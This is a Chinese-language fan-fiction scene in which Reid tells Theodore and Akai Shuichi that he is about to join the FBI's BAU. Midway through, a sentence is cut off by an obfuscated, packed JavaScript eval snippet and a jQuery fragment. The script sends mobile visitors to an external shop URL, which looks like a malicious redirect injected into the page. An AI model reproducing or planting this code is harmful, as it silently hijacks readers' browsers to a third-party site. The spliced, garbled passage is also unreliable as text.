八月的马里兰大学不像九月那样热闹。
暑期课程已经结束,秋季学期还没开始,校园里到处是那种懒洋洋的、介于“该做点什么”和“什么都不想做”之间的氛围。犯罪学系的小活动室在一栋红砖楼的二层,窗户朝西,下午的阳光把桌面切成明暗两半,灰尘在光柱里缓缓翻滚。
瑞德坐在靠窗的位置,面前摊着一本翻到三分之二处的《异常犯罪心理剖析》,旁边是横七竖八的荧光笔和一罐已经变温的苏打水。狄奥多坐在他对面,手里捏着一块橡皮泥,正在无意识地把它搓成一只圆滚滚的东西——看不出是什么,大概是猫,也可能只是他手在动。
活动室里只有他们两个人。
赤井秀一今天不在。他提前说了一声,要去图书馆查一些旧案卷宗,狄奥多没问具体是哪件。
书页翻动的声音很轻,像某种小动物在纸面上爬过。
狄奥多手里的橡皮泥已经揉成了形,他把那只拇指大的小猫放在桌面上,往瑞德那边推了推。瑞德的目光从书上移开,看了一眼那只小猫,又看了看狄奥多。
“你又在捏东西。”瑞德说。这不是评价,更像是在陈述一个观测到的事实。
“习惯了。”狄奥多说,把手上的橡皮泥碎屑拍掉,“手闲着就不舒服。”
瑞德把那只小猫拿起来,翻来覆去地看了看。它的四肢长短不一,脸歪向一边,尾巴粗得像根香肠。从工艺角度来说,它算不上什么好作品。但有一种奇怪的、笨拙的可爱。
“如果你把头部按1:1.6的比例放大,”瑞德说,“它看起来会更像一只猫,而不是一只吃撑了的仓鼠。”
狄奥多哑然:“下次我带上游标卡尺。”
瑞德认真地想了想:“其实手感的校准比测量更重要,因为黏土在塑形过程中会发生形变——”
“瑞德。”狄奥多笑着打断他。
“嗯?”
“那是个玩笑。”
“哦。”瑞德把小猫放回桌面,推回到狄奥多那边,“抱歉,我有时分不清。”
狄奥多把小猫收进口袋里,没有继续捏。活动室里安静了一会儿。窗外有人在打篮球,球拍地的声音隔了几层墙,变得闷闷的,像远处的心跳。
瑞德忽然合上了书。
狄奥多抬头看他。瑞德的表情很认真——不是那种分析案情时的专注,而是另一种,更像是在心里做了一番权衡之后,决定开口的那种认真。
“基利安是为什么想进FBI?”瑞德问,“你知道吗?”
狄奥多靠着椅背,手指搭在桌沿,没有立刻回答。他看着窗户外面那棵被阳光晒得发白的橡树,过了几秒才说:
“他有他自己的理由。”
瑞德看着他,像是在等更多的话,又或者只是发愣。毕竟这是一个很模糊的回答。但狄奥多没有继续说下去。当然,他也是真的不知道,所以沉默得心安理得。赤井秀一从来没有完整地对他讲过什么故事,他只说起过一次“我有必须进FBI的理由”,然后就再也没有提起过。狄奥多也没多问。
“你不好奇吗?”瑞德的表情变得有些疑惑。
狄奥多转过头来看他。
瑞德的表情里没有冒犯的意思,只有一种真诚的、学生式的好奇。他大概是真的想知道,狄奥多怎么可以接受赤井秀一藏着这么重要的事情而不去探究。
但很快他好像又想到了什么:“呃,我不是那个意思……”
而狄奥多竟然一下也没觉得哪里不对。直到瑞德慌忙否认。
他想了想,摇了摇头。
“不好奇。”狄奥多语气平静,“他有他的原因,说不说是他的事。我只要知道他在往哪个方向走就行了。”
瑞德沉默了一会儿,像是在消化这个回答。然后他点了点头,似懂非懂。
“我进FBI的理由,”瑞德说,声音比平时轻了一点,“是因为那里有最好的行为分析资源部。”
狄奥多眨了眨眼。
他花了半秒钟理解这句话——不是“我想进FBI,因为那里有BAU”,而是“那里有BAU,所以我要进FBI”。主语和宾语的位置调换了,但重点非常清晰。
“你要去BAU?”狄奥多的声音拔高了一点,那是他少有的惊讶。他甚至一时都不知道自己是在为瑞德要去BAU而惊讶,还是为瑞德真的要去BAU而惊讶——意思是,为简内特真的说中了而惊讶。
瑞德点了点头,表情里带上了一丝困惑:这有什么好惊讶的?狄奥多知道行为分析资源部的简称……
“你了解过BAU?”
“什么?哦,不,不是。”
狄奥多靠回椅背,看着瑞德,目光里多了一些了然。他遇见过BAU,知道那是个什么样的地方,知道那里的人在做什么样的事。如果瑞德要去的地方就是BAU,那事情倒合理了许多。
“我只是恰巧认识几位那里的探员。”
瑞德的眉毛抬了一下:“真的吗?我能问问是谁?”
“杰森·基甸探员。”狄奥多斟酌着,“他……他帮助过我。”
瑞德的脸上出现了一些惊讶和好奇。
狄奥多很庆幸瑞德是个对潜台词不敏感的理科天才,这让瑞德不会第一时间就明白他是以什么样的角色被帮助的。他一点也不想提起那些事。
“你觉得他们怎么样?”瑞德放下了手里的笔,拉了拉外套,认真地问。
“他们……”过往的回忆浮现,让狄奥多有些出神,“很优秀。”
瑞德点了点头。他也这么认为。
狄奥多盯着瑞德看了几秒:“这下我明白了。”
瑞德困惑地看着他:“明白什么?”
狄奥多没有直接回答。他想起了之前在体育馆遇到瑞德做体能训练时的样子——仰卧起坐像是被按在垫子上弹不起来,跑步像是在跟自己的腿谈判,引体向上更是挂在杠上晃了好几下,最后勉强拉上去半个。瑞德的表情被疲惫拉成龇牙咧嘴的模样,但狄奥多看到了他交握时指节发白的手。
那种拼尽全力的样子,他在坚持。
“明白为什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557799|202170||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
么你看起来明明很难过体能测验,”狄奥多看着瑞德的眼睛,“却还在为FBI审核做准备。”
瑞德的耳尖微微泛红,他没意识到这其实是一个赞誉。垂下的卷发挡住了他的眼睛,他翻开面前的书又合上了,以此把无处可去的情绪排解出去。
“我正在进行针对性的训练。”瑞德的语速变快了一点,“上肢力量是我的薄弱环节,但我已经拜托朋友帮我制定了一套渐进式的负荷增加方案。目前进展——还算稳定。”
“稳定”这个词说得有点虚。
狄奥多忍不住笑了。不是嘲笑,是那种被一个人认真的样子打动之后,从心底里涌上来的、带着暖意的笑。
“你需要特训帮助吗?”他开了个玩笑。
瑞德抬起头,看着他。狄奥多以为他会说“不用”或者“我自己可以”,但瑞德的眼睛里闪着认真的光,嘴唇动了动,说出来的话是:
“谢谢,但目前我的理论知识还不够。我会先补完这一块。”
狄奥多看着他,忽然觉得这个人真的很可爱。
“好。”狄奥多终于笑了,没有再多劝,“等你补完‘理论’,需要的话找我。”
瑞德点了点头,把这句话收进了那颗聪明脑袋的某个记忆分区里。
活动室安静了一会儿。窗外的篮球声停了,变成了几个人的笑声,然后又是球拍地的声音。
瑞德忽然说:“我马上就要通过审核加入BAU了。”
狄奥多这次是真的愣住了。
他看着瑞德的脸,想从上面找出一丝开玩笑的痕迹。但瑞德的表情一如既往地认真,像在陈述一个已经被验证过的数学定理。
“什么时候?”狄奥多问。
“审核流程已经走到最后阶段。”瑞德说,“如果没有意外,下个月就能确定。”
狄奥多张了张嘴,想说什么,又咽了回去。
没想到会这么快。这才不到半年吧?
“恭喜。”狄奥多最后说了这么一句。
瑞德笑笑:“谢谢。”
活动室的门被推开了。
赤井秀一走进来,手里拿着一沓打印好的资料,额头上有薄薄一层汗。他穿着一件黑色的T恤,白色的外套搭在臂弯,露出手臂上一条淡淡的灰白色伤疤。狄奥多以前没见过那条疤——可能是新的,也可能是夏天穿短袖才露出来的。
“你俩还在?”赤井秀一把资料放在桌上,拉开椅子坐下,看了一眼瑞德面前合着的书,又看了一眼狄奥多空空的手,“讨论什么了?”
“这不是等你嘛。”狄奥多摆摆手,“瑞德要进BAU了。”
赤井秀一的动作停了一下。他先是用表情对狄奥多说了一句“等我?真的吗”,成功把狄奥多逗笑了。
然后他看着瑞德,绿色的眼睛里没有惊讶,只是很认真地看了他两秒,然后点了点头。
“很适合你。”赤井秀一的语气很平淡。
瑞德又露出了那种似懂非懂的表情,但这次他没有问“为什么”,而是说了一句:“谢谢。”